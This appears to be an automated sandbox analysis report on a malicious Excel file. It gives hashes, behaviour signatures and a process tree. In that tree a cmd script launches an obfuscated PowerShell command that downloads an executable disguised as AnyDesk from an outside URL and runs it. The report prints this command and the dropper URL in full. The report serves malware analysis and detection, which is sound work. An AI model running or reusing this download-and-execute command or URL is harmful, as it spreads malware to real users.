Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04/09/2024, 21:22

General

  • Target

    c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc.xls

  • Size

    77KB

  • MD5

    0779070c794fbc9d084ed1f066e56fe0

  • SHA1

    7af4b1d2509ae0ee2646ab9198ad4b9d6e3fd0a8

  • SHA256

    c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc

  • SHA512

    d3bfe3cc1072c6ff2d43d2f058bdf3787b80a5324f8bf5c8708c0a70946a4c1150f4974821ee9339bd0f3fdedaa30094c43ff0a907b722f9e5f212dbc0cbf111

  • SSDEEP

    1536:Ck3hOdsylKlgxopeiBNhZFGzE+cL2kdAVezI0ScDNzmVQyrnHRBoESK4nceC7r9p:Ck3hOdsylKlgxopeiBNhZFGzE+cL2kdX

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://thepunchlineexpose.com/Manager/AnyDesk.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c0271c724570057759359da49e5934de2c1aa04dfacca0b95403241f6f1465cc.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\institutionsport.cmd" "
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://thepunchlineexpose.com/Manager/AnyDesk.e`xe -Destination C:\Users\Public\Documents\weekshe.e`xe;C:\Users\Public\Documents\weekshe.e`xe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2860

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Public\Documents\institutionsport.cmd

          Filesize

          206B

          MD5

          e623d1a58b6060f53e373dc8d9850c87

          SHA1

          5d7ca4d6ffb2c4c96615b72acbf54060765c861d

          SHA256

          99f121fdaf92f6bfdb6af9bf6813fd10ce95b848378b964739b1ae7e667e34e9

          SHA512

          f8ae81455e3de663d89a255b46b98d3ff01c8741d73be3413163a2743ae2e00e47ec094f253f15cd8d0fa7aba04fbc31c52c7b23350435277a0507cbaa86f74b

        • memory/1796-1-0x000000007248D000-0x0000000072498000-memory.dmp

          Filesize

          44KB

        • memory/1796-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

        • memory/1796-5-0x0000000006E80000-0x0000000006F80000-memory.dmp

          Filesize

          1024KB

        • memory/1796-22-0x000000007248D000-0x0000000072498000-memory.dmp

          Filesize

          44KB

        • memory/1796-23-0x0000000006E80000-0x0000000006F80000-memory.dmp

          Filesize

          1024KB